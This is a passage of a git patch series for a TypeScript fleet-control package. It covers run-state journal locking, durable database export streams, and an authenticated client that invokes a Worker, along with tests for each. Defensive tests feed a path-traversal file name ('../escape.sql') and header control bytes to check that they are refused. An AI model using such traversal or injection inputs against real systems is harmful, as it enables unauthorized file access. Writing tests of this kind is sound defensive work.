chmod(f.lockPath, 0o600); + const alias = join(f.directory, 'lock-alias'); + await link(f.lockPath, alias); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await unlink(alias); + await closed(await opened({ ...f.input, mode: 'resume' })); + const final = await stat(f.lockPath); + expect([final.dev, final.ino]).toEqual([original.dev, original.ino]); + }); + + it('does not publish an empty final run directory when initialization fails', async () => { + const f = await fixture(); + const actual = + await vi.importActual( + 'node:fs/promises', + ); + vi.mocked(rename) + .mockImplementationOnce(actual.rename) + .mockRejectedValueOnce(new Error('fixture staging publication failure')); + await expect( + openDirectRunState({ ...f.input, mode: 'run' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect(stat(f.runDirectory)).rejects.toMatchObject({ + code: 'ENOENT', + }); + expect(await readdir(f.base)).toEqual([ + `${f.prepared.config.resourcePrefix}.lock`, + ]); + await closed(await opened({ ...f.input, mode: 'run' })); + }); + + it('keeps the maximum safe invocation count compact and refuses overflow', async () => { + const f = await fixture(Number.MAX_SAFE_INTEGER); + const journal = await opened({ ...f.input, mode: 'run' }); + const first = await journal.reserveInvocation(f.request()); + await journal.settleInvocation(first); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const value = JSON.parse(await readFile(path, 'utf8')); + value.invocationCount = Number.MAX_SAFE_INTEGER - 1; + value.lastInvocation.ordinal = value.invocationCount; + await writeFile(path, JSON.stringify(value)); + const resumed = await opened({ ...f.input, mode: 'resume' }); + const last = await resumed.reserveInvocation(f.request()); + expect(last.ordinal).toBe(Number.MAX_SAFE_INTEGER); + await resumed.settleInvocation(last); + await expect(resumed.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'invocation-budget-exhausted', + }); + expect((await stat(path)).size).toBeLessThan(2048); + }); + + it.each([ + false, + true, + ])('releases a dead process lock while preserving pending=%s and its inode', async (pending) => { + const f = await fixture(); + const module = new URL( + '../scripts/direct-credentialed-run-state.mjs', + import.meta.url, + ).href; + const code = `import {openDirectRunState} from ${JSON.stringify(module)}; +let input='';for await(const chunk of process.stdin)input+=chunk; +const {options,body,pending}=JSON.parse(input);const journal=await openDirectRunState(options); +if(pending)await journal.reserveInvocation(body); +process.stdout.write(JSON.stringify({ready:true})+'\\n');setInterval(()=>journal.snapshot(),1000);`; + const child = spawn(process.execPath, ['--input-type=module', '-e', code], { + stdio: 'pipe', + env: { PATH: process.env.PATH ?? '' }, + }); + let output = ''; + let errors = ''; + child.stderr.on('data', (chunk) => { + errors += chunk; + }); + const ready = new Promise((resolve, reject) => { + const timer = setTimeout( + () => reject(new Error('fixture owner readiness timed out')), + 10_000, + ); + const failed = (error: Error) => { + clearTimeout(timer); + reject(error); + }; + child.once('error', failed); + child.stdin.once('error', failed); + child.once('close', () => + failed(new Error(`fixture owner exited before readiness: ${errors}`)), + ); + child.stdout.on('data', (chunk) => { + output += chunk; + if (output.includes('\n')) { + clearTimeout(timer); + try { + expect(JSON.parse(output)).toEqual({ ready: true }); + resolve(); + } catch (error) { + reject(error); + } + } + }); + }); + child.stdin.end( + JSON.stringify({ + options: { ...f.input, mode: 'run' }, + body: f.request({ + kind: 'migration-continue', + token: { private: CLAIM }, + }), + pending, + }), + ); + const stopped = new Promise((resolve) => + child.once('close', () => resolve()), + ); + try { + await ready; + const before = await stat(f.lockPath); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'lock-unavailable' }); + child.kill('SIGKILL'); + await stopped; + if (pending) { + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + expect( + await readFile(join(f.runDirectory, 'journal.json'), 'utf8'), + ).not.toContain(CLAIM); + } else { + await closed(await opened({ ...f.input, mode: 'resume' })); + } + const after = await stat(f.lockPath); + expect([after.dev, after.ino]).toEqual([before.dev, before.ino]); + } finally { + if (child.exitCode === null && child.signalCode === null) + child.kill('SIGKILL'); + await stopped; + } + }, 30_000); +}); diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts index f368077c..e6ea4d20 100644 --- a/packages/fleet-control/test/export-store.test.ts +++ b/packages/fleet-control/test/export-store.test.ts @@ -36,6 +36,12 @@ import { createFileSystemDatabaseExportStoreWithReceiptPrimitives, FileSystemDatabaseExportStore, } from '../src/export-store.js'; + +vi.mock('node:fs/promises', async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, open: vi.fn(actual.open) }; +}); + import type { DatabaseExportIntegrity, DatabaseExportReceiptIdentity, @@ -150,6 +156,150 @@ afterEach(async () => { }); describe('FileSystemDatabaseExportStore', () => { + it.each([ + 'name', + 'length', + 'directory', + 'ancestor', + 'open', + ] as const)('cancels its unread tee input after an early %s failure', async (stage) => { + const parent = await temporaryDirectory(); + const root = join(parent, 'exports'); + const store = new FileSystemDatabaseExportStore(root); + const source = new ReadableStream(); + const [branch, sibling] = source.tee(); + const cancellation = vi.spyOn(branch, 'cancel'); + const actual = + await vi.importActual( + 'node:fs/promises', + ); + const fault = new Error('fixture early export failure'); + let probe: Awaited> | undefined; + let restoreSync: (() => void) | undefined; + if (stage === 'directory') await writeFile(root, 'preserve'); + if (stage === 'open') { + vi.mocked(open).mockImplementation((...args) => { + if (args[1] === 'wx' && String(args[0]).startsWith(`${root}/.`)) + return Promise.reject(fault); + return actual.open(...args); + }); + } + if (stage === 'ancestor') { + probe = await open(parent, 'r'); + const parentStat = await probe.stat(); + const prototype = Object.getPrototypeOf(probe) as typeof probe; + const originalSync = prototype.sync; + const sync = vi + .spyOn(prototype, 'sync') + .mockImplementation(async function (this: NonNullable) { + const value = await this.stat(); + if ( + value.isDirectory() && + value.dev === parentStat.dev && + value.ino === parentStat.ino + ) + throw fault; + return originalSync.call(this); + }); + restoreSync = () => sync.mockRestore(); + } + let timer: ReturnType | undefined; + try { + const timeout = new Promise((_, reject) => { + timer = setTimeout( + () => reject(new Error('export refusal did not settle')), + 1000, + ); + }); + const failure = await Promise.race([ + store.write({ + databaseId: 'database', + fileName: stage === 'name' ? '../escape.sql' : 'database.sql', + body: branch, + ...(stage === 'length' ? { contentLength: -1 } : {}), + }), + timeout, + ]).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(Error); + const primary = + failure instanceof AggregateError ? failure.errors[0] : failure; + expect(cancellation).toHaveBeenCalledExactlyOnceWith(primary); + const reader = branch.getReader(); + try { + expect(await reader.read()).toEqual({ done: true, value: undefined }); + } finally { + reader.releaseLock(); + } + if (stage === 'directory') + expect(await readFile(root, 'utf8')).toBe('preserve'); + } finally { + clearTimeout(timer); + restoreSync?.(); + vi.mocked(open).mockImplementation(actual.open); + await probe?.close(); + await Promise.allSettled([branch.cancel(), sibling.cancel()]); + cancellation.mockRestore(); + } + }); + + it.each([ + false, + true, + ])('persists nested root ancestors across retry with an alias=%s', async (alias) => { + const parent = await temporaryDirectory(); + const inputParent = alias ? join(parent, 'alias') : parent; + if (alias) await symlink(parent, inputParent, 'dir'); + const root = join(inputParent, 'nested', 'exports'); + const store = new FileSystemDatabaseExportStore(root); + const parentStat = await stat(parent); + const probe = await open(parent, 'r'); + const prototype = Object.getPrototypeOf(probe) as typeof probe; + const originalSync = prototype.sync; + let fail = true; + let parentAttempts = 0; + const synchronized = new Set(); + const key = (value: { dev: number; ino: number }) => + `${value.dev}:${value.ino}`; + const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function ( + this: typeof probe, + ) { + const current = await this.stat(); + if (current.isDirectory() && key(current) === key(parentStat)) { + parentAttempts += 1; + if (fail) throw new Error('fixture export ancestor sync failure'); + } + await originalSync.call(this); + if (current.isDirectory()) synchronized.add(key(current)); + }); + const write = () => + store.write({ + databaseId: 'database', + fileName: 'database.sql', + body: body('SELECT 1;'), + }); + try { + for (let retry = 0; retry < 2; retry++) { + await expect(write()).rejects.toThrow( + 'fixture export ancestor sync failure', + ); + expect(await readdir(root)).toEqual([]); + } + expect(parentAttempts).toBe(2); + expect(synchronized.has(key(parentStat))).toBe(false); + fail = false; + const result = await write(); + expect(await readFile(fileURLToPath(result.location), 'utf8')).toBe( + 'SELECT 1;', + ); + for (const path of [parent, join(parent, 'nested'), root]) { + expect(synchronized.has(key(await stat(path)))).toBe(true); + } + } finally { + sync.mockRestore(); + await probe.close(); + } + }); + it('streams, syncs, closes, and publishes an absolute durable location', async () => { const parent = await temporaryDirectory(); const root = join(parent, 'nested', 'exports'); From dd282ded052508ef9abd2bf3986b0d9e52f15d6d Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 19:08:04 +0400 Subject: [PATCH 128/169] fix(fleet-control): close staged Wrangler export streams --- .changeset/wrangler-export-stream-closure.md | 5 + .../wrangler-plain-worker-provisioning-api.ts | 91 +++++++++++-------- ...gler-plain-worker-provisioning-api.test.ts | 66 ++++++++++++++ 3 files changed, 124 insertions(+), 38 deletions(-) create mode 100644 .changeset/wrangler-export-stream-closure.md diff --git a/.changeset/wrangler-export-stream-closure.md b/.changeset/wrangler-export-stream-closure.md new file mode 100644 index 00000000..f74b5874 --- /dev/null +++ b/.changeset/wrangler-export-stream-closure.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Close staged Wrangler export streams before removing scratch files when a supplied store finishes or fails. diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 421b6046..7c669604 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -7,6 +7,7 @@ import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import { join, resolve } from 'node:path'; import { Readable } from 'node:stream'; +import { finished } from 'node:stream/promises'; import { captureDatabaseExportReceiptCapability, type DurableDatabaseExportStore, @@ -653,24 +654,31 @@ export class WranglerPlainWorkerProvisioningApi hash.update(chunk); } const sha256 = hash.digest('hex'); - const stored = await this.#exportStore.write({ - databaseId: database.id, - fileName, - body: Readable.toWeb( - createReadStream(temporaryLocation), - ) as ReadableStream, - contentLength: metadata.size, - }); - if ( - !stored.location || - stored.size !== metadata.size || - stored.sha256 !== sha256 - ) { - throw new Error( - 'durable database export store returned mismatched committed integrity', - ); + const source = createReadStream(temporaryLocation); + const sourceClosed = finished(source, { cleanup: true }).catch( + () => undefined, + ); + try { + const stored = await this.#exportStore.write({ + databaseId: database.id, + fileName, + body: Readable.toWeb(source) as ReadableStream, + contentLength: metadata.size, + }); + if ( + !stored.location || + stored.size !== metadata.size || + stored.sha256 !== sha256 + ) { + throw new Error( + 'durable database export store returned mismatched committed integrity', + ); + } + return { location: stored.location, size: metadata.size, sha256 }; + } finally { + source.destroy(); + await sourceClosed; } - return { location: stored.location, size: metadata.size, sha256 }; } finally { await rm(temporaryDirectory, { recursive: true, force: true }); } @@ -707,28 +715,35 @@ export class WranglerPlainWorkerProvisioningApi throw new Error('Wrangler database export changed while being hashed'); } const expectedIntegrity = Promise.resolve(integrity); - const stored = await writeReceipt({ - identity, - body: Readable.toWeb( - createReadStream(temporaryLocation), - ) as ReadableStream, - contentLength: integrity.size, - expectedIntegrity, - }); - if ( - !stored.location || - stored.size !== integrity.size || - stored.sha256 !== integrity.sha256 - ) { - throw new Error( - 'durable database export store returned mismatched committed integrity', - ); + const source = createReadStream(temporaryLocation); + const sourceClosed = finished(source, { cleanup: true }).catch( + () => undefined, + ); + try { + const stored = await writeReceipt({ + identity, + body: Readable.toWeb(source) as ReadableStream, + contentLength: integrity.size, + expectedIntegrity, + }); + if ( + !stored.location || + stored.size !== integrity.size || + stored.sha256 !== integrity.sha256 + ) { + throw new Error( + 'durable database export store returned mismatched committed integrity', + ); + } + return { + location: stored.location, + size: integrity.size, + sha256: integrity.sha256, + }; + } finally { + source.destroy(); + await sourceClosed; } - return { - location: stored.location, - size: integrity.size, - sha256: integrity.sha256, - }; }); const cleanup = await settleOperation(() => rm(temporaryDirectory, { recursive: true, force: true }), diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 92b2da3d..6f3b197c 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -4,6 +4,7 @@ import { createHash } from 'node:crypto'; import { mkdtemp, readFile, stat, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import { dirname, join } from 'node:path'; +import { Readable } from 'node:stream'; import { describe, expect, it, vi } from 'vitest'; import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js'; import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; @@ -1612,6 +1613,71 @@ describe('WranglerPlainWorkerProvisioningApi exports', () => { await expectExportScratchRemoved(output()); }); + it.each( + ['legacy', 'receipt'].flatMap((method) => + ['sync', 'async', 'integrity'].flatMap((failure) => + [false, true].map((locked) => ({ method, failure, locked })), + ), + ), + )('closes $method source after $failure refusal with locked=$locked', async ({ + method, + failure, + locked, + }) => { + const primary = new Error('supplied store refused'); + const sources: Readable[] = []; + let reader: ReadableStreamDefaultReader | undefined; + const toWeb = Readable.toWeb; + const observe = vi + .spyOn(Readable, 'toWeb') + .mockImplementation((source, options) => { + sources.push(source); + return toWeb(source, options); + }); + const write = (input: { readonly body: ReadableStream }) => { + if (locked) { + reader = input.body.getReader(); + void reader.closed.catch(() => undefined); + } + if (failure === 'sync') throw primary; + if (failure === 'async') return Promise.reject(primary); + return Promise.resolve({ + location: 'memory://invalid', + size: 0, + sha256: '0'.repeat(64), + }); + }; + try { + const { subject, output } = await exportSubject({ + bytes: 'x'.repeat(1024 * 1024), + store: { + write, + receiptAuthority: RECEIPT_AUTHORITY, + writeReceipt: write, + }, + }); + const exportReceipt = subject.exportDatabaseReceipt; + if (!exportReceipt) throw new Error('expected receipt export capability'); + const result = + method === 'legacy' + ? subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()) + : exportReceipt(RECEIPT_IDENTITY, mutationFence()); + if (failure === 'integrity') { + await expect(result).rejects.toThrow('mismatched committed integrity'); + } else { + await expect(result).rejects.toBe(primary); + } + expect(sources).toHaveLength(1); + expect(sources[0]?.destroyed).toBe(true); + expect(sources[0]?.closed).toBe(true); + await expectExportScratchRemoved(output()); + } finally { + reader?.releaseLock(); + for (const source of sources) source.destroy(); + observe.mockRestore(); + } + }); + it('returns the independent digest, size, location, and secure file mode', async () => { const bytes = 'fixture export bytes'; let mode: number | undefined; From 9dca2320053b1095192a1d864ef2b6208a04e375 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 19:36:17 +0400 Subject: [PATCH 129/169] feat(fleet-control): drive authenticated direct invocations --- .../direct-credentialed-invocation.d.mts | 55 ++ .../direct-credentialed-invocation.mjs | 306 +++++++ .../direct-credentialed-invocation.test.ts | 798 ++++++++++++++++++ 3 files changed, 1159 insertions(+) create mode 100644 packages/fleet-control/scripts/direct-credentialed-invocation.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-invocation.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-invocation.test.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts b/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts new file mode 100644 index 00000000..46713436 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectRunJournal } from './direct-credentialed-run-state.mjs'; +import type { DirectReferenceAction } from './direct-reference-contract.mjs'; + +export type DirectInvocationErrorCode = + | 'invalid-input' + | 'invocation-busy' + | 'invocation-budget-exhausted' + | 'outcome-unknown' + | 'injected-response-loss' + | 'reference-refused'; + +export type DirectReferenceRefusalCode = + | 'operation-refused' + | 'wrong-operation' + | 'missing-continuation' + | 'budget-exhausted'; + +export class DirectInvocationError extends Error { + readonly code: DirectInvocationErrorCode; + readonly attempts: DirectInvocationAttempts | undefined; + readonly referenceCode: DirectReferenceRefusalCode | undefined; + constructor( + code?: DirectInvocationErrorCode, + attempts?: DirectInvocationAttempts, + referenceCode?: DirectReferenceRefusalCode, + ); +} + +export interface DirectInvocationAttempts { + readonly provider: number; + readonly maintenance: number; + readonly application: number; +} + +export interface DirectInvocationResult { + readonly result: unknown; + readonly attempts: DirectInvocationAttempts; +} + +export interface DirectInvocationClient { + invoke(action: DirectReferenceAction): Promise; +} + +export function createDirectInvocationClient( + input: Readonly<{ + prepared: PreparedDirectConformance; + journal: DirectRunJournal; + accountWorkersDevSubdomain: string; + invokeSecret: string; + fetch?: typeof fetch; + }>, +): DirectInvocationClient; diff --git a/packages/fleet-control/scripts/direct-credentialed-invocation.mjs b/packages/fleet-control/scripts/direct-credentialed-invocation.mjs new file mode 100644 index 00000000..a640a371 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-invocation.mjs @@ -0,0 +1,306 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { validateHeaderValue } from 'node:http'; +import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; +import { + deriveDirectConformanceNames, + validateDirectConformanceConfig, +} from './direct-credentialed-conformance-config.mjs'; +import { DirectRunStateError } from './direct-credentialed-run-state.mjs'; +import { DIRECT_REFERENCE_PATH } from './direct-reference-contract.mjs'; + +const RESPONSE_BYTE_LIMIT = 4 * 1024 * 1024; +const ERROR_CODES = new Set([ + 'invalid-input', + 'invocation-busy', + 'invocation-budget-exhausted', + 'outcome-unknown', + 'injected-response-loss', + 'reference-refused', +]); +const REFERENCE_REFUSAL_STATUS = { + 'operation-refused': 409, + 'wrong-operation': 409, + 'missing-continuation': 409, + 'budget-exhausted': 503, +}; + +export class DirectInvocationError extends Error { + constructor(code = 'invalid-input', attempts, referenceCode) { + const accepted = ERROR_CODES.has(code) ? code : 'invalid-input'; + super(accepted); + this.name = 'DirectInvocationError'; + this.code = accepted; + this.attempts = attempts; + this.referenceCode = referenceCode; + } +} + +function invalid() { + throw new DirectInvocationError(); +} + +function unknown() { + throw new DirectInvocationError('outcome-unknown'); +} + +function exactKeys(value, keys) { + return ( + value !== null && + typeof value === 'object' && + !Array.isArray(value) && + Object.keys(value).length === keys.length && + keys.every((key) => Object.hasOwn(value, key)) + ); +} + +function reservationError(error) { + try { + if (error instanceof DirectRunStateError) { + if (error.code === 'outcome-unknown') + return new DirectInvocationError('outcome-unknown'); + if (error.code === 'invocation-budget-exhausted') + return new DirectInvocationError('invocation-budget-exhausted'); + } + } catch { + // Foreign rejection inspection can invoke traps. + } + return new DirectInvocationError(); +} + +function cancelResponse(response) { + try { + void response?.body?.cancel().catch(() => {}); + } catch { + // The abortable pipe owns cancellation while its source is locked. + } +} + +function readAttempts(headers, maxAttempts) { + const attempts = {}; + for (const kind of ['provider', 'maintenance', 'application']) { + const value = headers.get(`X-Direct-${kind}-Attempts`); + if (value === null || !/^(?:0|[1-9][0-9]*)$/u.test(value)) unknown(); + const count = Number(value); + if (!Number.isSafeInteger(count) || count > maxAttempts) unknown(); + attempts[kind] = count; + } + if ( + attempts.provider + attempts.maintenance + attempts.application > + maxAttempts + ) + unknown(); + return Object.freeze(attempts); +} + +export function createDirectInvocationClient(input) { + let endpoint; + let configSha256; + let invocationTimeoutMs; + let maxAttempts; + let journal; + let fetchRequest; + let authorization; + try { + const prepared = input.prepared; + const config = validateDirectConformanceConfig(prepared.config); + const names = deriveDirectConformanceNames(config); + const subdomain = input.accountWorkersDevSubdomain; + const secret = input.invokeSecret; + journal = input.journal; + fetchRequest = input.fetch ?? globalThis.fetch; + configSha256 = prepared.configSha256; + invocationTimeoutMs = config.referenceWorker.invocationTimeoutMs; + maxAttempts = config.referenceWorker.maxProviderRequests; + if ( + typeof subdomain !== 'string' || + !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain) || + typeof secret !== 'string' || + !secret || + secret !== secret.trim() || + typeof fetchRequest !== 'function' || + typeof journal.reserveInvocation !== 'function' || + typeof journal.settleInvocation !== 'function' || + typeof configSha256 !== 'string' || + !/^[a-f0-9]{64}$/u.test(configSha256) || + typeof prepared.referenceModuleSetSha256 !== 'string' || + !/^[a-f0-9]{64}$/u.test(prepared.referenceModuleSetSha256) || + prepared.names.referenceWorker !== names.referenceWorker + ) + invalid(); + const binding = journal.snapshot().binding; + if ( + binding.configSha256 !== configSha256 || + binding.referenceModuleSetSha256 !== prepared.referenceModuleSetSha256 || + binding.resourcePrefix !== config.resourcePrefix || + binding.maxInvocations !== config.referenceWorker.maxInvocations + ) + invalid(); + authorization = `Bearer ${secret}`; + validateHeaderValue('Authorization', authorization); + if ( + new Headers({ Authorization: authorization }).get('authorization') !== + authorization + ) + invalid(); + endpoint = `https://${names.referenceWorker}.${subdomain}.workers.dev${DIRECT_REFERENCE_PATH}`; + } catch { + invalid(); + } + + let busy = false; + let uncertain = false; + return Object.freeze({ + async invoke(action) { + if (busy) throw new DirectInvocationError('invocation-busy'); + if (uncertain) unknown(); + busy = true; + let timer; + let abortRead; + let response; + const deadline = new AbortController(); + const signal = deadline.signal; + try { + let serialized; + let reservation; + try { + serialized = JSON.stringify({ + contractVersion: 1, + configSha256, + action, + }); + reservation = await journal.reserveInvocation(serialized); + } catch (error) { + throw reservationError(error); + } + uncertain = true; + const expiresAt = performance.now() + invocationTimeoutMs; + const assertActive = () => { + if (performance.now() >= expiresAt) deadline.abort(); + signal.throwIfAborted(); + }; + const aborted = new Promise((_, reject) => { + abortRead = () => + reject(new DirectInvocationError('outcome-unknown')); + signal.addEventListener('abort', abortRead, { once: true }); + }); + timer = setTimeout(() => deadline.abort(), invocationTimeoutMs); + let outcome; + try { + const actionKind = JSON.parse(serialized).action.kind; + const exchange = (async () => { + try { + assertActive(); + response = await fetchRequest(endpoint, { + method: 'POST', + headers: { + Authorization: authorization, + 'Content-Type': 'application/json', + Accept: 'application/json', + 'Cache-Control': 'no-store', + }, + body: serialized, + cache: 'no-store', + redirect: 'manual', + signal, + }); + assertActive(); + if ( + response.redirected || + ![200, 409, 503].includes(response.status) || + response.headers.get('cache-control') !== 'no-store' || + !/^application\/json(?:;\s*charset=utf-8)?$/iu.test( + response.headers.get('content-type') ?? '', + ) + ) + unknown(); + const attempts = readAttempts(response.headers, maxAttempts); + const body = response.body?.pipeThrough(new TransformStream(), { + signal, + }); + const bounded = await readBoundedBody( + new Request(endpoint, { + method: 'POST', + headers: response.headers, + body, + signal, + duplex: 'half', + }), + RESPONSE_BYTE_LIMIT, + ); + assertActive(); + if (!bounded.ok) unknown(); + const value = JSON.parse(bounded.text); + if (response.status === 200) { + if ( + !exactKeys(value, [ + 'contractVersion', + 'configSha256', + 'action', + 'ok', + 'result', + ]) || + value.contractVersion !== 1 || + value.configSha256 !== configSha256 || + value.action !== actionKind || + value.ok !== true + ) + unknown(); + } else { + if ( + !exactKeys(value, ['contractVersion', 'ok', 'error']) || + value.contractVersion !== 1 || + value.ok !== false || + !exactKeys(value.error, ['code']) + ) + unknown(); + const code = value.error.code; + if (code === 'injected-response-loss') { + if ( + response.status !== 503 || + actionKind !== 'migration-continue' + ) + unknown(); + } else if ( + typeof code !== 'string' || + !Object.hasOwn(REFERENCE_REFUSAL_STATUS, code) || + REFERENCE_REFUSAL_STATUS[code] !== response.status + ) + unknown(); + } + assertActive(); + return { value, attempts }; + } finally { + if (signal.aborted) cancelResponse(response); + } + })(); + outcome = await Promise.race([exchange, aborted]); + assertActive(); + await journal.settleInvocation(reservation); + } catch { + unknown(); + } + uncertain = false; + if (!outcome.value.ok) { + if (outcome.value.error.code === 'injected-response-loss') + throw new DirectInvocationError( + 'injected-response-loss', + outcome.attempts, + ); + throw new DirectInvocationError( + 'reference-refused', + outcome.attempts, + outcome.value.error.code, + ); + } + return { result: outcome.value.result, attempts: outcome.attempts }; + } finally { + if (timer !== undefined) clearTimeout(timer); + if (abortRead) signal.removeEventListener('abort', abortRead); + deadline.abort(); + cancelResponse(response); + busy = false; + } + }, + }); +} diff --git a/packages/fleet-control/test/direct-credentialed-invocation.test.ts b/packages/fleet-control/test/direct-credentialed-invocation.test.ts new file mode 100644 index 00000000..79af6af0 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-invocation.test.ts @@ -0,0 +1,798 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, open, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +import { + createDirectInvocationClient, + DirectInvocationError, +} from '../scripts/direct-credentialed-invocation.mjs'; +import { + type DirectRunJournal, + openDirectRunState, +} from '../scripts/direct-credentialed-run-state.mjs'; +import { + DIRECT_REFERENCE_PATH, + type DirectReferenceAction, +} from '../scripts/direct-reference-contract.mjs'; +import { handleDirectReferenceHttpRequest } from '../scripts/direct-reference-http.js'; + +const SECRET = 'invocation-secret-sentinel'; +const CLAIM = 'opaque-claim-sentinel'; +const directories: string[] = []; +const journals = new Set(); +const hash = (value: string) => + createHash('sha256').update(value).digest('hex'); +const attempts = { provider: 1, maintenance: 2, application: 3 }; +const responseHeaders = { + 'Cache-Control': 'no-store', + 'Content-Type': 'application/json', + 'X-Direct-Provider-Attempts': '1', + 'X-Direct-Maintenance-Attempts': '2', + 'X-Direct-Application-Attempts': '3', +}; + +async function fixture(limit = 3, timeoutMs = 1000) { + const directory = await mkdtemp(join(tmpdir(), 'direct-invocation-')); + directories.push(directory); + const config = JSON.parse( + await readFile( + new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ); + const reference = + "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};"; + const tenant = + 'export class Maintenance {} export class Runner {} export default {};'; + config.referenceWorker.artifact = { + bundle: './reference.mjs', + mainModule: 'worker.js', + sha256: hash(reference), + }; + config.referenceWorker.maxInvocations = limit; + config.referenceWorker.invocationTimeoutMs = timeoutMs; + config.deployment.artifact = { + bundle: './tenant.mjs', + mainModule: 'worker.js', + sha256: hash(tenant), + }; + const configPath = join(directory, 'config.json'); + await writeFile(configPath, JSON.stringify(config)); + await writeFile(join(directory, 'reference.mjs'), reference); + await writeFile(join(directory, 'tenant.mjs'), tenant); + const prepared = await preflightDirectConformance({ configPath }); + const input = { configPath, prepared, accountId: 'account' }; + const journal = await opened({ ...input, mode: 'run' }); + const options = { + prepared, + journal, + accountWorkersDevSubdomain: 'attested-account', + invokeSecret: SECRET, + }; + const success = ( + action = 'control-read', + result: unknown = { token: CLAIM }, + ) => ({ + contractVersion: 1, + configSha256: prepared.configSha256, + action, + ok: true, + result, + }); + const response = (value: unknown = success(), status = 200) => + Response.json(value, { status, headers: responseHeaders }); + return { configPath, prepared, input, journal, options, success, response }; +} + +async function opened(input: Parameters[0]) { + const journal = await openDirectRunState(input); + journals.add(journal); + return journal; +} + +async function closed(journal: DirectRunJournal) { + await journal.close(); + journals.delete(journal); +} + +async function disk(journal: DirectRunJournal) { + return readFile(join(journal.directory, 'journal.json'), 'utf8'); +} + +async function expectUnknown( + f: Awaited>, + fetchRequest: typeof fetch, + action: DirectReferenceAction = { kind: 'control-read' }, +) { + const fetchMock = vi.fn(fetchRequest); + const client = createDirectInvocationClient({ + ...f.options, + fetch: fetchMock, + }); + const error = await client.invoke(action).catch((error: unknown) => error); + expect(error).toBeInstanceOf(DirectInvocationError); + expect(error).toMatchObject({ code: 'outcome-unknown' }); + expect(String(error)).not.toContain(SECRET); + expect(error).not.toHaveProperty('cause'); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'pending' }, + }); + await expect(client.invoke(action)).rejects.toMatchObject({ + code: 'outcome-unknown', + }); + expect(fetchMock).toHaveBeenCalledTimes(1); + await closed(f.journal); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); +} + +afterEach(async () => { + vi.restoreAllMocks(); + try { + await Promise.all([...journals].map((journal) => journal.close())); + } finally { + journals.clear(); + await Promise.all( + directories + .splice(0) + .map((directory) => rm(directory, { recursive: true, force: true })), + ); + } +}); + +const describeLinux = + process.platform === 'linux' ? describe.sequential : describe.skip; + +describeLinux('Node authenticated direct invocation', () => { + it.each([ + 'operator:token', + 'operator token', + 'operator\ttoken', + ])('accepts a header-safe credential supported by the receiver: %s', async (invokeSecret) => { + const f = await fixture(); + const client = createDirectInvocationClient({ + ...f.options, + invokeSecret, + fetch: async (url, init) => { + const response = await handleDirectReferenceHttpRequest( + new Request(url, init), + { + configSha256: f.prepared.configSha256, + invokeSecret, + invocationTimeoutMs: 1000, + dispatch: async () => ({ accepted: true }), + }, + ); + for (const [key, value] of Object.entries(responseHeaders)) + response.headers.set(key, value); + return response; + }, + }); + await expect( + client.invoke({ kind: 'control-read' }), + ).resolves.toMatchObject({ result: { accepted: true } }); + }); + it.each([ + 1, 11, 12, 31, 127, + ])('rejects HTTP control byte %i before reservation', async (code) => { + const f = await fixture(); + const fetchRequest = vi.fn(); + const reserveInvocation = vi.fn(f.journal.reserveInvocation); + expect(() => + createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + invokeSecret: 